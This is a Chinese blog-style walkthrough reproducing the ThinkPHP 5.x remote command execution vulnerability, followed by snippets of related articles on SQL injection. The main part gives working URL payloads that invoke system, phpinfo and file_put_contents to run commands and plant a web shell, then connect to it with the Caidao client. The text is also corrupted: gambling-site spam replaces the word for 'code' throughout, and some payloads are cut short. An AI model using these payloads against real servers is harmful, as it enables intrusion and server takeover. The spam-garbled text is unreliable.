ThinkPHP 5.x远程命令执行漏洞复现

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程365bet体育在线官网_365体育投注平台_365在线体育消息执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现
 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

  ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^ >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

  ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

  ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

  ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

  ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

  ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

  ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

时间: 2019-09-23

ThinkPHP框架任意365bet体育在线官网_365体育投注平台_365在线体育消息执行漏洞的利用及其修复方法

ThinkPHP是国内着名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布.早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库).RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常

对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析

ThinkPHP官网上曾有一段公告指出,在ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件 根据官方文档对"防止SQL注入"的方法解释(参考http://doc.thinkphp.cn/manual/sql_injection.html) 使用查询条件预处理可以防止SQL注入,没错,当使用如下365bet体育在线官网_365体育投注平台_365在线体育消息时可以起到效果: $Model->where("id=%d and usern

蓝雨设计整站SQL注入漏洞

本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注入漏洞的,所以一切后果与我以及BCT小组无关 最近无聊,在网上走来走去看看.发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA?0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程

利用SQL注入漏洞拖库的方法

想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库 同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用. 在数据库中建立一张表: 复制365bet体育在线官网_365体育投注平台_365在线体育消息 365bet体育在线官网_365体育投注平台_365在线体育消息如下: CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET

利用SQL注入漏洞登录后台的实现方法

早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的"拖库"事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下.

PHPCMS2008广告模板SQL注入漏洞修复

00 漏洞描述 PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透. 01 漏洞分析 漏洞产生的位置: /ads/include/ads_place.class.php的show方法中. function show($placeid) ... if($adses[0]['option']) { foreach($adses as $ads) { $contents[] =

PHP 小心urldecode引发的SQL注入漏洞

Ihipop 学校的 Discuz X1.5 论坛被黑,在那里吵了一个下午.Google 一下"Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit",你就知道. Discuz 是国内很流行的论坛系统,被黑的网站应该会很多吧.不过我对入侵别人的网站不感兴趣,同时也鄙视那些365bet体育在线官网_365体育投注平台_365在线体育消息都不会写只会使用别人放出的工具攻击的所谓的"黑客". 粗略看了一下365bet体育在线官网_365体育投注平台_365在线体育消息,这个 SQL 注入漏洞是 urldecode 函数造成

php中sql注入漏洞示例 sql注入漏洞修复

在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下. 一.SQL注入的步骤 a)? 寻找注入点(如:登录界面.留言板等) b)? 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c)? 将sql语句发送给数据库管理系统(DBMS) d)? DBMS接收请求,并将该请求解释成机器365bet体育在线官网_365体育投注平台_365在线体育消息指令,执行必要的存取操作 e)? DBMS接

PJBlog存在SQL注入漏洞大家要快下补丁了

根据我们针对PJBlog进行的程序365bet体育在线官网_365体育投注平台_365在线体育消息审计发现,PJBlog多个页面存在SQL注入漏洞,致使恶意用户可以利用注入漏洞拿到管理员帐号密码,并且进行恶意攻击. 我们强烈建议使用PJBlog的用户立刻检查一下您的系统是否受此漏洞影响,并紧密的关注PJBlog官方所发布的安全更新 官方补丁: http://bbs.pjhome.net/thread-26090-1-1.html

asp终极防范SQL注入漏洞

下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂365bet体育在线官网_365体育投注平台_365在线体育消息,你就能融会贯通. 注意要对所有的request对象进行过滤:包括 request.cookie, request.ServerVariables 等等容易被忽视的对象: 复制365bet体育在线官网_365体育投注平台_365在线体育消息 365bet体育在线官网_365体育投注平台_365在线体育消息如下: function killn(byval s1) '过滤数值型参数 if not isnumeric(s1) then killn=0 else if s1<0 or s1>2147483647 then killn=0 else killn=cl

thinkphp区间查询、统计查询与SQL直接查询实例分析

本文实例讲述了thinkphp区间查询.统计查询与SQL直接查询.分享给大家供大家参考.具体方法如下: 一.区间查询: 复制365bet体育在线官网_365体育投注平台_365在线体育消息 365bet体育在线官网_365体育投注平台_365在线体育消息如下: $data['id']=array(array('gt',4),array('lt',10));//默认关系是(and)并且的关系? //SELECT * FROM `tp_user` WHERE ( (`id` > 4) AND (`id` < 10) )? ? $data['id']=array(array('gt',4),array('lt',10